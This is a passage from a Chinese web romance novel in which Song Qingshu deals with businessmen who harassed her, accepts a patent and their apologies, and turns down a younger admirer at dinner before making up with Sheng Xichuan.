此时他已经不知道怎么办才好,东一句西一句,一会儿一个主意。
宋清殊:“白给的话我能考虑考虑,但现在已经不想要了。”
说话间,警察已经来了。
这边的片警因为廖绮事件和最近陆展的事都见过宋清殊了。
知道她的身份,也知道她是谁护着的人。
“这么巧,宋小姐?”带队的跟他打招呼。
宋清殊便把自己的遭遇一五一十的说了,又指了指周围的阔叶植物:“那几个里面有摄像头,可以为我作证。”
那五人欺负宋清殊是个女人,又单枪匹马。
做事并没有太费心思,自然破绽百出。
他们安排的摄像头原本是想拍宋清殊讨好他们的样子,告诉全世界这个女人是如何通过男人“上位”,拿到自己想要的一切的。
没想到到头来这些摄像头成了他们的罪证。
几个人已经说不出辩驳的话,他们马上被警方以寻衅滋事的理由带走了。
一场闹剧落幕。
宋清殊这才来得及跟温世誉以及林远洲孟令贤夫妇道谢。
“不客气,是世誉先发现的你。”孟令贤说。
自上次“表白事件”后,宋清殊再没有见过温世誉,两人的关系也一直不尴不尬。
作为表姐的孟令贤更是尴尬得不行,觉得自己弟弟给宋清殊添麻烦了。
但这次温世誉的表现,对孟令贤来说,简直是“将功补过”的意思,让她腰板都直了些。
孟令贤说,温世誉放暑假了,明天就回花都,所以今天一起吃个午饭聚聚。
“那你们刚才是不是故意要让世誉打苏硕几下,才站出来的?”宋清殊问。
“这你都发现了?”孟令贤露出“什么都瞒不过你法眼”的神情,笑道,“不打他不解气。”
宋清殊连连道谢。
又说:“我就不耽搁你们了,晚上世誉有空吗?有的话,我请你们三个吃饭。”
主要是温世誉虽然没说话,但一双可怜巴巴的眼睛看着她,看得宋清殊实在心软。
一个喜欢过她的年轻男孩子而已,又不是有深仇大恨,搞得这么生分,实在不应该。
林远洲看向自己老婆。
他有空还是没空从来不取决于自己,而是看孟令贤时间。
孟令贤何等通透,马上明白了宋清殊什么意思。
无非就是把她和温世誉的关系“正常化”,她越坦荡,温世誉也越死心。以后两人也还是朋友。
要是一直这样,除非永远不见面,见面就是隐患。
“有空,那提前感谢你的款待。”孟令贤说。
“哪里话,我该感谢你一次次帮我才是。”
自从孟令贤替珍珠出头后,宋清殊已经拿她当很好的朋友了。
宋清殊觉得孟令贤不愧是孟子的后人,做人大气又通透,非常可交。
孟令贤也喜欢宋清殊,知道温柔只是她的表象,宋清殊身上有种以柔克刚的力量。
彼此说定后,宋清殊就离开了那家餐厅,还没到停车场,盛熙川的电话就打了过来。
不用问,他一定是知道发生了什么。
宋清殊接起来,第一句就是:“我没事。”
那边怔了一下。
“抱歉,让你一个人去涉险。”
宋清殊???
“这是什么话?”
盛熙川:“是我的不是,只是把硕东的资质给你,却没有帮你把这件事解决好。我不该让你自己去的,一个专利而已,我可以……”
可以直接要,硕东那边估计连个屁都不敢放。
宋清殊马上:“打住!盛熙川,你是不是看不起我?我自己的工作,职责范围内的事,为什么要你出面?”
那边噎了一下:“我只是觉得,实在不应该让你处于这样的境地。”
宋清殊:“我不会有危险的。盛熙川,你了解我。如果这件事真的很凶险,我也不会一个人去。
而且这件事明明有最柔和的解决方式,别的不说,我只要听他们打几句嘴炮,再每人敬杯酒,这件事也就解决了。
我只是不想这么干而已,他们不配得到我的尊重。”
见那边依然沉默,宋清殊柔声哄她:“好啦,有了这件事后,说不定他们得求着白送给我那个专利了。”
彼此又聊了几句,宋清殊才说起晚上要请林远洲孟令贤夫妇和温世誉吃饭的事来。
听到温世誉的名字,盛熙川瞬间警觉起来。
第325章 撑腰
盛熙川获悉的大部分内容都来自警方,还没来得及联系孟令贤,更不知道这里面还有温世誉的事。
这个名字对他来说,简直是煞星一样的存在。
他瞬间应激,毛都炸起来。
“感谢一个人有很多方式,非要请客吃饭吗?”
宋清殊听他不满的语气,只想笑:“难不成我要给他钱?是温世誉缺钱还是我缺钱?用自己都不在意的东西感谢别人,难免也太没有诚意。”
她这话说的在理,盛熙川无可反驳。
可他做最后挣扎:“我跟你一起去,我来请。”
宋清殊无语:“是我受了人家的恩惠,要请客感谢,你们两个原本就不对付,我带你过去,是真心感谢人家,还是给人家添堵?”
盛熙川做最大让步:“我不说话,绝不找他麻烦。”
宋清殊服了他这个醋坛子劲儿,刻意佯装严肃:“盛熙川,你要是再这样,我要倒扣两朵小花了。”
一想到他那得了两朵小花的积分卡,盛熙川秒变脸:“……我错了,你请吧,我去买单!”
宋清殊脑补他无奈的表情,忍不住捂住听筒笑出声来。
两人又聊了两句,对宋清殊来说,这件事就放下了。
她并没有吃亏,等着那几个人在看守所受几天苦,之后回来求她。
下午她去了趟陆家,跟陆夫人讲这件事,陆夫人更是气得不行。
“告诉苏家,那个专利白给都不要了,我们去国外买。”
她心疼宋清殊受的委屈,对钱倒是没有那么在乎。
“别啊干妈,白给为什么不要?”宋清殊倒是冷静,赶忙说,“真正替我出气的方式,就是用他们的专利替咱们赚钱。”
“你不生气吗小宝?”陆夫人问。
宋清殊摇头:“当时那种情况下肯定是有点生气,但现在也不觉得怎么样,而且闹僵了更好,这样咱们说什么是什么了。”
陆夫人惊叹:“小宝,你也是个客体分离的高手了!”
宋清殊笑:“可能跟珍珠一起生活久了,我天天说她从来不感情用事,全靠理智,原来我也是一样的。”
“哪里是你被珍珠带的,她不过是把你的一些性格优点放大了。”陆夫人看得透彻。
“别的不说,小宝,你想想珍珠身上有的这些品质,哪一样不是你和盛熙川本来就有的?”
“你说珍珠聪明,你那么小就会背《长恨歌》会背《春江花月夜》,你不聪明吗?你说珍珠性子不宽厚,刻薄且嫉恶如仇,你小时候就是这样的。不过是现在长大了,棱角没有那么锋利罢了,你骨子里不还是黑白分明的?”
如果她是个含糊,可以得过且过的性子,今天的事也就不会发生。
陆夫人了解她。
宋清殊沉默了一瞬:“但珍珠把我的优点和性格特地都放大了。”
“老话都说青出于蓝胜于蓝,这也是正常的。更何况,她又不只是你自己的孩子,熙川骨子里跟你是一样的。你们两个的基因都起作用,可不就放大了。”
非常有道理,简直无可辩驳。
陆夫人又道:“就说她拼命想让你们两个复合,这难道不像你吗?从小渴望亲情,没有安全感。都十几岁了,还要跟干妈一张床上睡觉呢。”
“熙川有个那么糊涂的母亲,和甩手掌柜父亲,他对亲情的渴望,估计也不比你少。”
那倒是。
从一个人对自己孩子的态度,就能看出他对原生家庭的诉求。
宋清殊对珍珠,除了爱还有尊重,她拿珍珠当平等的大人对待,还会给她私人空间。
放到她的原生家庭里,她希望宋夫人用这样的方式对自己。
尊重她,而不是一边不爱她,一边时时刻刻希望左右控制她,要用她换取利益。
而盛熙川,对珍珠是无限的纵容和宠爱,估计就算珍珠去杀人放火,他也能一边帮忙善后,一边觉得自己的女儿真厉害,有勇有谋。
因为他在自己的母亲那里,是得不到宠爱的。他看到的只有恨。
好在他们两个没有跑偏,没有因为自己得不到什么,就把孩子的伞撕碎。
陆夫人有大智慧,这番话简直点醒了她。
珍珠那样渴望一个完整的家庭,是因为身上带着他们两人骨子里对亲情的渴望。
话题从硕东悄无声息地转到了珍珠身上。
宋清殊和陆夫人聊得有些泪目。
她越发觉得自己不称职,后悔自己生下珍珠,又不能给她一个完整的家。
“珍珠不会因为她来到这个世界上怨恨你,她为自己有这样的体验而高兴,只是如果你能和盛熙川在一起,她会更高兴。”
陆夫人说,又问她,“听说你们两个在试着修复关系?”
宋清殊点头。
“很好,给彼此一个机会,最后哪怕走不到一起,也至少都努力过了。”
宋清殊也是这么想的。
硕东那几个人在看守所老老实实呆了三天。
这三天,宋清殊也没闲着,直接把手里拿到的沉疴旧账发出去了一部分。
一时间引起了不小的骚动,特别是硕东的合作方,都开始有所警觉。
苏硕的父亲苏进廉第一时间就知道发生了什么。
因为盛熙川找他。
硕东的体量连陆氏都比不上,跟盛世集团更是完全说不上话的。
盛熙川找他,自然只有一种可能:为了宋清殊。
那天,苏进廉跟做梦一样,都不知道自己怎么去的,跟盛熙川聊了什么。
只知道,盛熙川让人上了茶给他,全程客气。
“那些资料,是我找来给宋清殊的。”他说。
“所以这笔账,还请苏总要算,算到我头上,不要为难宋清殊。”
盛熙川眉目本就长得冷峻,不笑时带着一种目空一切的冷漠,他客气,但没人敢因为这种客气蹬鼻子上脸。
苏进廉年过半百,比盛司令还要大几岁,但在盛熙川面前只觉得坐立不安,他浑浊的眼睛里,再无拼搏半生的血性,都是谄媚。
“不敢不敢,”苏进廉说话都不利索了,他从座位上欠身,语气惶恐,听得出紧张的要命,“是我犬子不懂事,冲撞了宋小姐。”
第326章 赔罪
苏硕不知天高地厚,苏进廉却知道这片土地上谁说了算。
给苏进廉一百个胆子也不敢说宋清殊半句不是。
他现在只想等苏硕出来,狠狠收拾他一顿,已经不是钱的问题,这个小兔崽子,差点害死他!
“当然是苏硕不对。”盛熙川缓缓道,“那天他们都藏了监控,需要我给你看一下监控画面吗?”
那个监控,盛熙川反复看了不下十遍。
一想起视频里几个男人对宋清殊步步紧逼的嘴脸,他就恨不得将这些人碎尸万段。
是他没有做到位,居然让这些人觉得宋清殊也是他们可以觊觎和戏弄的!
好在宋清殊聪明又冷静,并没有表现出任何的怯懦和妥协,不愧是他喜欢的女人。
“是,是。这件事都是犬子不对,等他出来,我就把他带过来交给您,要打要骂都随您处置。”苏进廉赶忙说。
盛熙川对苏家来说,权力是碾压性的。
对现在的苏进廉,尊严不是最重要的东西,最重要的是,是顺从,只有顺从才能将伤亡降到最低,不至于把硕东百年的基业毁于一旦。
他后悔自己迫于外界的舆论压力,妥协让苏硕掌舵,他这个大儿子,不聪明,的确难登大雅之堂。
苏进廉几乎是在那一瞬间就做了决定。
等苏硕出来,就把他交给盛熙川处置,即便盛熙川找人弄死他,他也权当无事发生。
只有把这个“卒”弃掉,他才能顾全大局,才能保住硕东。
“把人给我,你舍得?”盛熙川看苏进廉还算通透,神情稍稍缓和。
苏进廉没有二话,简直要拍着胸脯保证。
“盛小爷,您放心。您就算把他卖到缅北去,我也不说半个‘不’字!”
如果下跪有用,苏进廉一定会跪下来表忠心。
盛熙川看出了他的坚决,和对这个大儿子的不喜欢。
点点头道:“没那么严重,以后别让他接班掌权就行。记住我说的话,苏硕一天要做生意,我就让他一天不得安宁。”
这对于苏进廉来说,已经是天大的恩赐了。
但盛熙川也有自己的考虑:毕竟这件事是硕东和陆氏之间的事,他如果插手太多,传出去,以后不管是谁再跟陆氏打交道,都会掂量掂量。
长此以往,对陆氏发展不利,对宋清殊的个人发展更不利。
明明她那样优秀了,有了他的插手,难免会有些和苏硕一样多嘴多舌的人,又说她靠男人上位。
这个社会对漂亮女人还是太苛刻了一些,盛熙川舍不得宋清殊被人非议。
这个处理方式,苏进廉自然感恩戴德。
“盛小爷留犬子一条命,已经是网开一面。您放心,等他出来,我就让他带着那几个人去给宋小姐下跪道歉!”苏进廉说。
第三天上午,宋清殊刚到公司,便接到了前台电话。
“宋总,有几个人说是硕东公司的,想约您见一面。”前台的声音有点迟疑。
实在不是她业务不精,而是面前的六个人太搞笑。
由苏进廉的小儿子苏东带队,苏硕和那四个恶臭男跟在后面。
除了苏东,其余每个人都举了个“我是混蛋,我乱说,我该死”的牌子,在陆氏的楼下一字排开。
宋清殊也听出了前台的不对劲。
“怎么回事?”她问。
当着这几个人的面,前台不知道怎么开口。
于是,苏东示意自己要跟宋清殊通话。
在征得宋清殊同意后,苏东说:“宋总,我是硕东集团苏东,今天带着我哥和另外四个员工跟您赔罪来了。”
他年纪不大,说话干脆利落,听上去不知道比苏硕悦耳多少倍。
当然,最主要的是,宋清殊知道他和苏硕一直不睦,敌人的敌人是朋友。
“苏少,请来顶层会客室吧。”宋清殊说。
10分钟后,苏东带着一行人到了顶层。
初苏东外的几个人看宋清殊的脸色跟见了鬼一样,膝盖一软,都跪了下来。
他们在局子里的这两天宋清殊什么都没做,所以眼前的这种情景肯定跟她无关。
但是不是跟盛熙川有关就不好说了。
宋清殊觉得,多半是的。
“宋总,是我嘴贱,不尊重您,您大人有大量,不要跟我一般见识。”
苏硕说着先自己给了自己两个耳光。
另外几个人如法炮制,也纷纷打了自己几个耳光。
哪里还有两天前趾高气昂的样子?
宋清殊觉得眼前的场景好笑又滑稽,她挑了挑眉,没作声。
想起一句很糙的俗语来——
“猪撞树上,你知道拐了;孩子死了你来奶了。”
有点想笑,便真的笑了。
实在是有意思,那么简单的一件事,原本也没什么争议,她给钱,硕东给专利就好。
这五千万还是之前陆二叔谈好了的。
现在之所以闹得这样不愉快,无非是因为她是个女人,又得了势。
她得的不是苏家的资源,她坐高位,也不会损害苏家的利益,可就因为她是个女人,就冒犯了他们,让他们对她围剿。
这社会有太多结构性不公,最明显就是性别对立带来的。
见宋清殊不说话,苏东道:“宋总,我父亲说了,让他们跪到您点头原谅为止,您要是有事就先忙,我替您盯着。”
苏东看上去还像个正常人。
不知他平时的处事方式什么样,至少有了苏硕的前车之鉴,他也不敢再造次。
宋清殊不说话,那几个人就一直自扇耳光。
苏东也不觉得替他们羞耻,就这么静静的看着,很沉得住气。
“起来吧,我不会原谅你们的,所以你们做这些没意义。”宋清殊开金口。
那几个人一个个面如土色,垂头丧气,也不敢起来,也不敢动。
宋清殊看苏东:“苏总,茶室说话?”
苏东眼里有一闪而过的光芒,面上自然沉稳持重:“好。”
他跟着宋清殊进了茶室。
一进茶室,苏东便把自己带的资料夹拿了出来。
“宋总,这个专利我代表硕东无偿赠与您,也算一点补偿,还望您不要推辞。”
第327章 执念
比起苏硕来,苏东实在上道。
虽说一部分原因是有苏硕的前车之鉴,让他不敢小瞧宋清殊。
但他说话办事也的确比苏硕通透敞亮,不让人讨厌。
宋清殊微笑着请他坐下,替他倒茶。
“有了这么一出,硕东以后要苏少掌舵了吧?”她语气平淡,似闲聊天气。
苏东笑得客气:“以后还是要仰仗宋总多多提携。”
宋清殊勾唇:“好说,这个专利我不白拿,给苏少一千万带回去交差。”
苏东错愕,表情管理一时失控:“宋总,您这是……”
宋清殊笑的得体:“苏少到底不是长子,只靠长子的无能来衬托自己也不是办法。
这一千万,回去苏少就说是在我这里虎口夺食拿的,等苏少接手了硕东也能服众。”
苏东是带着苏进廉的任务来的,把原本要到一个亿的专利免费送,大有“割地赔款”的意思。
这次他来,只要能让宋清殊开金口原谅那五个蠢货,以后不再找硕东的麻烦,就算圆满完成任务,实在不敢想还有这样的意外收获。
苏东站起身来,已经没了最开始的老成持重。
“宋总,如果这样,那我要感谢您的知遇之恩。以后有什么地方用得到我和硕东,一定义不容辞!”他太激动,声音有点抖。
宋清殊笑笑:“苏少,咱们来日方长,近期陆氏一定不会跟硕东合作了,但我等着你掌权的那天。”
两人谈得还算愉快,临走时,签了专利转让合同,宋清殊果然让财务转了一千万到硕东。
时至今日,别说只是八位数,就算几亿几十亿的合同,宋清殊也是能做主的。
她没再理苏硕等人,让苏东直接将他们带走了。
之后才去跟陆夫人汇报这件事。
她这么做,一方面是想着做人留一线,日后好相见。另一方面,虽然她知道是硕东冒犯在先,但外界并不知情,说不定都觉得她仗着盛熙川帮衬,故意欺负硕东。
三人成虎,如果外面的人因为这件事觉得陆氏不好打交道,以后就麻烦了。
“小宝,你做的对。水至清则无鱼,如果这件事把硕东逼到绝路上,只会让外界觉得陆氏‘惹不起’。
所以说,一方面能为咱们立威,但也未必是好事,毕竟咱们陆氏还没发展到那个程度,自命清高,会失去很多机会。”陆夫人说。
但这话她现在可以说,在宋清殊处理之前不会说。
毕竟宋清殊受了委屈,当时陆夫人想的是,不管她怎么处理,自己都力挺,绝无二话。
宋清殊自然也知道干妈是为她好,所以哪怕为了干妈,她也不把事情做绝。
她们是最亲的人,彼此体谅,没有私心,说开的很容易,不会彼此猜忌。
这件事,宋清殊处理的漂亮,在陆氏自然又强拉了一波好感。
她已经从一个不少人看不上的“空降兵”,变成了陆氏的顶梁柱。
都开始说陆氏没她不行。
甚至已经有同行公司开高价挖她了。
宋清殊不为所动,只当个笑话看。
她请林远洲孟令贤夫妇和温世誉吃饭的事,在起冲突的当天晚上就落实了。
他们约在了一家私房菜。
为了不让盛熙川胡思乱想,她甚至发了个位置给他。
【我们今晚在这里吃饭,欢迎接我,但不欢迎查岗】
为了让语气不要太过生硬,搭配了一个珍珠【嘻嘻】的表情包。
当然,这个位置不仅宋清殊发了,孟令贤也发了。
都是成熟又通透的人,自然会规避一切可能的风险。
但宋清殊的报备行为极大取悦了盛熙川,他很高兴。
借机道:【那我先带珍珠在外面逛逛,结束后接你】
宋清殊回了个珍珠【OK】的表情包。
这顿饭吃的还算愉快。
宋清殊举杯感谢了林远洲孟令贤夫妇和温世誉对她的“拔刀相助”。
孟令贤摆摆手:“都是自己人,说那话就见外了。”
林远洲也说:“就冲我和熙川的交情,这个忙也该帮。”
温世誉只是笑了笑,没说什么。
全程几乎都是孟令贤和宋清殊在说。
林远洲是孟令贤的死忠粉,开头寒暄了两句后,一双眼睛在自己老婆脸上就没离开过,始终笑眯眯看着她。
而温世誉在看宋清殊。
宋清殊虽然在感情上比较白痴,但为人处事是个高手,又有洞察力,自然没有错过温世誉的目光。
可她内心坦荡,不特地回视他,也不躲避。
目光对上了,便微笑一下,丝毫不暧昧,也不拖泥带水。
这微笑太过坦荡真诚,还带了几分包容的味道。颇有几分大人看孩子的意味。
这个眼神让温世誉不爽。
他抿唇,一来二去几个回合下来,索性垂下眼去,不再看她。
看得出在赌气。
宋清殊没话找话:“世誉暑假多长时间?准备回加拿大吗?”
温世誉:“暂时先回花都,其余的还没想好。”
他情绪平平,没看出高兴或者不高兴。
宋清殊:“现在学习压力也挺大的,正好回去放松一下。花都环境好,比上京舒服。”
又说,“这个季节去加拿大也行,起码温度比咱们这边低一些,就当避暑了。”
她明显在找话题。
温世誉却不接茬,意义不明地笑了一下。
孟令贤火眼金睛,早就发现了端倪。
但她假装没看见。
替温世誉答:“他不想回去,主要是我舅妈想回,估计怎么也会去一趟。”
又问温世誉:“我听说廖绮休学了?”
温世誉扯了扯唇角:“不知道,也不关心。”
孟令贤叹口气:“这孩子想一出是一出,自己把自己毁了。”
宋清殊不知道廖绮休学跟自己有没有关系,也没作声。
一直都是廖绮一像条疯狗一样咬着她不放,她连反击都没有下死手。
但孟令贤说这话,自然有她的目的,最明显就是提醒温世誉不要再给宋清殊添麻烦。
宋清殊领情。
接着他们又聊了聊生意上的事,特别是陆氏和昌鑫的合作。
“我们这个客户忠诚度最高,只要昌鑫一天不倒闭,你放心,单子永远是你的。”孟令贤说。
宋清殊当然放心,更心存感激。
她赶忙给自己倒上酒,分别敬了孟令贤和林远洲各一杯。
之后,端着酒杯敬温世誉。
“世誉,多谢你中午挺身而出,只要你愿意,我永远拿你当好朋友,当弟弟。”
温世誉抿唇,似压抑着什么。
“宋清殊,你明知道……”
第328章 让他死心
担心的事还是发生了。
孟令贤先脸色一变,之后,利落地伸出手臂,给了温世誉一个肘击。
“叫什么宋清殊,没大没小!叫姐姐!”
宋清殊依然笑的得体:“名字起了就是给人叫的,不叫姐姐,我也拿你当弟弟。”
两个女人都是人精,一番抢白后,直接把温世誉想说的话堵进了肚子里。
温世誉脸色发白,张张嘴没再说什么。
他直接端起酒杯,一饮而尽。
之后,又一个人默默地喝了几杯。
好在点的酒不多,四个人一共只有两瓶红酒。
温世誉喝,另外三人就当没看见,喝完就把空瓶收了下去,没有再添。
后来,孟令贤又说起了盛熙川。
“今天下午熙川把苏进廉叫去了,估计怎么也会说道说道,就看苏家的表现了。”
宋清殊点头:“其实这事不好让他插手,但他那个脾气,真不让他管,也不现实。索性由着他了。”
孟令贤提,不知有没有特地说给温世誉听的意思,但宋清殊是真没有。
她不想搞这些有的没的,伤温世誉的感情。
她不跟温世誉在一起,跟盛熙川没关系,即便没有盛熙川这个人,她也依然不会跟他在一起。
她对温世誉有感激,有友情,唯独没有男女之情。
关于这一点,宋清殊从来没有含糊其辞过。
她在男女之情上向来不灵光,更不会存在吊着他的意思。
宋清殊非常希望他能想通。
还是那句话,如果温世誉愿意尊重她,把他们的关系拉回正轨,做朋友做姐弟,她非常欢迎。
但他若执迷不悟,两人渐行渐远也是没办法的事。
说起盛熙川,林远洲和孟令贤夫妇自然是赞不绝口。
“熙川重感情。说来也有意思,当年他愿意跟远洲合作,据说是看到了他对我的态度。”
孟令贤说,“他说一个爱老婆顾家的男人走错路前会想想老婆孩子,相对来说,更值得信赖。”
又问林远洲:“是这么说的吧,老公?”
林远洲笑答:“差不多,原话我忘了,但熙川的确比较在意下属和合作方的家庭关系和社会关系的稳定性。”
很多企业都会在意员工和合作方的家庭或社会关系的稳定程度,倒是不足为奇。
但盛熙川特地把这件事拿到明面上来说可见真的很看重。
想到他对珍珠的态度,宋清殊片刻失神。
随即笑道:“你们两个的感情的确让人羡慕。这样的夫妻档,整个上京也没有几对。”
孟令贤:“再过一阵子,你们复婚了,还指不定是谁羡慕谁。”
宋清殊愣了一下。
她不意外孟令贤知道她和盛熙川的感情进展,毕竟对盛熙川来说,林远洲和孟令贤算“自己人”。
孟令贤和温世誉又有这么一层关系,盛熙川一定会把话说到位,绝不含糊。
她愣的是,孟令贤似乎故意要把话说透,让温世誉死心。
孟令贤简直称得上重拳出击,毫不顾忌温世誉的感受。
她不是个莽撞的人,能这么做,只有一种可能:那就是故意的。
孟令贤不收力,宋清殊索性也豁出去了。
“看他表现吧,不过有可能的话,还是想恋爱谈的久一点,毕竟上次结婚太仓促,这次不想太急。”宋清殊说。
说完,又自嘲笑笑:“孩子都三岁半了,又开始柏拉图,有点矫情是不是?”
孟令贤:“这怎么能是矫情呢?你都不知道我老公当时追我多辛苦,我老公为了我,可是家底都奉上了,你不知道吧,我老公在昌鑫是拿工资的,最大的股权在我这儿。
男人只有千辛万苦追到的女人才会珍惜。”
她难得秀恩爱,一口一个“我老公”,林远洲在一旁看着,嘴都要咧到天上去。
“你是仙女,追你费点力气是应该的。”林远洲笑道,顺便剥了个虾放到了孟令贤的碗里。
两人结婚已经10多年,还是这样的状态,真是羡煞旁人。
宋清殊看着,竟然也开始幻想起她和盛熙川今后的生活来。
过去年纪小,不懂经营爱情和婚姻。
如今有了一点年纪,稳扎稳打,怎么也该未来可期了吧?她默默地想。
这顿饭,本意是给温世誉饯行,后面自然又说了一些让他回去给家人带好之类的体面话。
温世誉强打精神应着,已经能看出他的忍耐已经到了极限,随时有爆发的可能。
宋清殊在心里直叹气。
这顿饭吃成这样,真不是她的本意。
宋清殊本意是想感谢温世誉,外加缓和一下关系来着,有“买卖不成仁义在”之意。
可现在这顿饭像鸿门宴,好似在跟温世誉撇清关系加示威。
全由孟令贤主导,宋清殊辅助。
孟令贤像带着任务来的,一定要温世誉万念俱灰。
自己的亲表姐要出手,也是为温世誉好,宋清殊这个外人也不好拦,更不能和稀泥。
她任凭事态向预期外的方向发展,不动声色。
撑到一顿饭结束,宋清殊才暗暗松了口气。
他们在饭店门口告别。
眼看着那夫妻俩带着温世誉一同上了车。
宋清殊看手机,才发现盛熙川10分钟前发来的消息:【快结束了吧?珍珠吵着要睡觉,我先把她送回去,再来接你。别急哈,小宝。】
宋清殊看表,还不到珍珠睡觉的时间,不用说,又是小家伙为了给她和盛熙川创造独处的空间故意的。
一想起女儿人小鬼大的样子,宋清殊的唇角就忍不住上扬。
【刚结束,不着急,你开车慢点。】她回复。
又过了几分钟,盛熙川没等到,没想到林远洲的车又开了回来。
孟令贤黑着脸下车,把宋清殊吓了一跳。
“怎么了贤姐?”宋清殊问。
孟令贤把她拉到一边:“世誉在车上闹脾气,坚持要问你一句话,说你回答了他才死心。”
宋清殊大概能猜到他问什么,无非是车轱辘话来回说。
“行,聊两句不碍事的。”她说。
孟令贤低声:“你直接拒绝就行,不用怕伤害他,长痛不如短痛,我答应过他妈妈,不管多狠,一定要让他断了这个念想。”
第329章 拒绝与表白
看来温世誉喜欢她这件事闹得挺大,连他父母都知道了。
想想自己还在花都生活了四年,宋清殊就有点尴尬。
不为别的,就冲她和温世誉的年龄差,别人也一定会觉得是她不安好心,勾引在先。
孟令贤嘱咐完宋清殊就走了,她让林远洲把车开远一点等。
就留温世誉和宋清殊站在饭店门口聊天。
温世誉眼睛发直,看上去无比委屈。
“宋清殊,我就问你一句话。你哪怕……有那么一个瞬间对我动过心吗?”
……这个真没有。
宋清殊笑了笑:“世誉,抱歉。我不能骗你。”
温世誉:“所以……从来没有?”
宋清殊:“你不是我的理想型,所以我从来没有往这方面想过。”
这个答案,并不能让温世誉满意,他往前半步,声音急切,又带着不甘心:“是因为盛熙川吗?因为这个人的存在,你再也不会想别人,哪怕更适合你的人,你也看不到!”
宋清殊:“我之前说过,你没往心里去而已。哪怕没有盛熙川,那个人也不会是你,世誉,你很好……”但不是我喜欢的类型。
“连好人卡都发上了吗?”温世誉皱眉,脸色更加难看。
“我很好,但你就是不喜欢我,对不对?”
他不自觉抬高了声音,语气也更冲。
宋清殊抿唇,不再言语。
车轱辘话来回说,温世誉不累,她都累了。
只是没想到,温世誉会突然动手。
他拉住宋清殊手臂,猛地一扯,宋清殊一个踉跄,险些撞到他怀里。
这下,宋清殊真的生气了。
她退后半步,跟他拉开距离,神色顿时严肃起来。
“温世誉,你够了!我话已经说得够清楚了,谢谢你之前帮过我,如果有用得到我的地方,我也可以两肋插刀。除此之外我什么都给不了你,我说过了,我对你没有友情之外的其他感情。”
温世誉脸色苍白,神情却是带着点病态的偏执:“你跟盛熙川又在一起了?别忘了,四年前你们分的那么难看!
你再跟他在一起一次,就是又给他伤害你的机会!宋清殊,你这和网络上那些原谅渣男的女人有什么区别?”
宋清殊和盛熙川都算半个公众人物,他们的往事,只要用心去查,是查得到的。
有段时间,温世誉翻来覆去看宋清殊所有网上的资料信息,对这段不少人津津乐道的往事也了如指掌。
但他从来没有说过这些,这是头一次,因为情绪上头口无遮拦。
说完,眼看着宋清殊的脸一点点变得灰白,他顿时有点慌了。
这段往事对宋清殊来说,的确是不堪的。
哪怕时过境迁,她愿意和盛熙川重新开始,也绝不会否认当时的痛苦和绝境感。
宋清殊许久没说话。
她简直后悔请这顿饭了,也后悔想继续跟温世誉做朋友,她真的是平白给自己找不痛快。
见她沉默,温世誉也有点发慌。
他张了张嘴,还没有说出找补的话,只听宋清殊开口:“多谢提醒,没什么事,你就请回吧。再见。”
她这次的客气里带着凉意和拒人千里的冰冷。
再也没有拿他当“自己人”的热乎劲儿了。
温世誉心慌,又要拉她,又不敢,手悬在半空。
“我不是那个意思,我只是不想再让你受伤害了。姐姐,给我一次机会,我一定会做的比盛熙川好。”
宋清殊现在说话的音质已经跟之前完全不同,她温和却冰冷。
“抱歉,我喜欢盛熙川,所以我愿意再给他一次机会,也是给我自己一次机会。这是我们的私事,与你无关。”
温世誉:“姐姐,你难道就不怕他再伤害你吗?”
“怕,怎么不怕?”
宋清殊声音很轻,神色也恢复了平静,“但比起怕被伤害,我更怕自己连再试一次的勇气都没有。”
“你……就这么爱他吗?”温世誉垂在身侧的手指蜷缩起来,他的声音压抑又痛苦。
宋清殊淡声道:“感情不是比较题,有些事,或许没有道理和逻辑可讲。但就冲他是我女儿的父亲,已经赢了。”
温世誉胸口起伏,眼眶微红,像是压抑着某种汹涌的情绪。
最终,他颓然地放下手,低声道:“好,我明白了。”
他后退一步,像是终于认清了现实。
“宋清殊,祝你幸福。”
说完这句中二的话,他转身离开,背影在夜色里显得有些孤寂。
林远洲的车缓缓开了过去,宋清殊站在原地,静静看着他的身影上了车,心里微微松了口气。
就这样吧。
宋清殊心想,或许上天不愿意给她这样一个朋友,强求也没什么意义。
她心中感慨,怅然若失。
一转头,盛熙川就站在三步远处。
盛熙川脸上的神色很复杂,他眉头微皱,眸子里都是懊恼和心疼。
“你什么时候来的?”宋清殊问他。
盛熙川:“该听到的,都听到了。抱歉。”
宋清殊摇头:“没什么好道歉的。”
他们在人来人往的饭店门口,又不是什么私密空间,被听到是再正常不过的事。
只不过她刚才好像为了让温世誉死心,“大胆示爱”来着,如今见了正主,宋清殊有点尴尬。
但盛熙川想的,跟她想的是两回事。
“抱歉,之前做了那么多让你痛苦的事。”
宋清殊赶忙制止:“打住!怎么又来了!”
她故意做出凶巴巴的模样:“你要再揪住过去的事不放,就要倒扣小红花了!”
这话简直踩在了盛熙川的命门上。
他赶紧投降:“我错了,以后再也不会提了!”
宋清殊勾唇:“这还差不多。”
“不过话又说回来,我刚才好像是听到了某人说喜欢我吧?”盛熙川脸上挂上一抹戏谑,睨她。
宋清殊耳尖瞬间发烫,故作镇定地别过脸:“为了让他死心而已。”
“是吗?可我听着情真意切的。”
盛熙川的气息近在咫尺,宋清殊能闻到他身上清冽的松木香气。
饭店招牌的霓虹灯光晕在他深邃的眉眼间流转,那双总是冷静自持的眼睛此刻盛满了温柔。
宋清殊被盯得神色紧张。
她撇下盛熙川先走一步:“发神经,不喜欢你,我会给你机会吗?”
第330章 贷款接吻
看着宋清殊落荒而逃的背影,盛熙川心情激越。
刚才有一瞬间,他好像看到她脸红了。
盛熙川长腿一迈,三两步就追上了宋清殊。
接着,一把扣住她的手腕,将人轻轻拽回自己身前。
“跑什么?”他低笑,拇指在她腕间摩挲,“我又不会吃了你。”
宋清殊兀自强撑:“困了,想回去睡觉了。”
逃避可耻,但的确有用,对于不想回答的问题,转移话题是最好的办法。
“不过你刚才有一点做得很好。”宋清殊说。
“什么?”
“没有发疯,冲过来跟温世誉battle。”
两人要是较量起来,宋清殊夹在里面,里外不是人,
盛熙川笑了笑,表示接受她的表扬。
天知道他忍得有多辛苦。
要不是怕宋清殊下不来台,他怕是早就冲过去跟温世誉打起来了。
特别是刚才还看温世誉拉她的手臂。
那一刻,盛熙川险些沉不住气。
两人往停车场方向走,晚风袭来,宋清殊突兀地打了个喷嚏。
盛熙川见状,脱了自己身上的薄外套,替她披上。
宋清殊没有拒绝:“谢谢。”
她将外套拢了拢,熟悉的松木香气萦绕在鼻尖。
两人并肩走着,谁都没有再开口。
宋清殊能感觉到盛熙川的手指几次想要触碰她,又克制地收了回去。
她看破不说破,假装什么都没发生。
